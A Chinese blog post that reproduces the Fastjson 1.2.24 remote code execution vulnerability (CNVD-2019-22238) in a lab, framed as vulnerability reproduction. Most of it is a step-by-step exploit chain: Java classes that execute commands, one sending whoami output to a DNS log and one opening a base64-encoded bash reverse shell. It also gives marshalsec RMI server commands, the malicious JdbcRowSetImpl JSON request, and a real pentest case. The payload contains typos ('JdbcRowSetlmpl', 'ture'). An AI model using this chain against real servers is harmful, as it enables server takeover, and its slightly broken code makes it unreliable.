Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现

举报
Vista_AX 发表于 2023/07/19 21:57:50 2023/07/19
【摘要】 Fastjson远程代码执行漏洞(CNVD-2019-22238) 漏洞复现

01 漏洞描述



Fastjason是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。由于其序列化jason文件速度快且中文文档非常全面,所以为国内广大开发人员所应用。


fastjson在解析json的过程中,支持使用@type字段来指定反序列化的类型,并调用该类的set/get方法来访问属性,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据, 使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,即可构造出一些恶意利用链。由于1.2.24版本及之前版本的fast json对传入的参数没有检查过滤 只要再 “b”: { }内就会被反序列化。


02 影响范围


fastjson <=1.2.24

03 验证方式


在vulhub起靶场环境,访问页面后内容如下即为环境搭建成功。

image.png


测试fastjson成功请求的数据包,如下图所示

image.png


使用Burp抓包,将GET请求方式更改为POST请求,并随便输入一个json格式数据,发送数据包使其报错,看回显有com.alibaba.fastjson.JSON 特征

image.png


这里使用dnslog做漏洞进一步验证:

1、本地javac进行编译,生成class文件fastjson.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // do nothing
    }
  }
}


2、本地使用python开启http服务,将生成的fastjson.class文件放置http目录下

image.png


3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

image.png


4、构造恶意请求包,使得受攻击服务器向DNS服务器发起请求

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}


5、在dnslog查看到访问记录证明漏洞存在
image.png



04 利用方式


使用Fastjson远程代码执行漏洞进行反弹shell

1、本地javac进行编译,生成class文件Exploit.class

import java.lang.Runtime;
import java.lang.Process;

public class fastjson{
  static {
    try {
      Runtime rt = Runtime.getRuntime();
      String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
      Process pc = rt.exec(commands);
      pc.waitFor();
    } catch (Exception e) {
      // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
    }
  }
}


2、本地使用python开启http服务,将生成的Exploit.class文件放置http目录下

image.png


3、使用marshalsec开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer  "http://xx.xx.xx.xx:8000/#fastjson" 9999
##“http://python开启的http服务IP:PORT/#恶意class文件类名  自定义端口

image.png


4、在VPS上启用nc,监听8888端口


5、构造恶意请求包,使得受攻击服务器回弹shell

POST / HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

{
  "b":{
      "@type":"com.sun.rowset.JdbcRowSetlmpl",
      "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
      "autoCommit":ture
  }
}

image.png




05 实战案例


某渗透测试发现站点fastjson在解析json数据,进行dnslog验证后发现漏洞问题存在,进而构造恶意代码获取服务器shell,详情如下图所示:

image.png


image.png



06 修复方案


请联系厂商获取修复后的官方版:https://github.com/alibaba/fastjson/releases

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。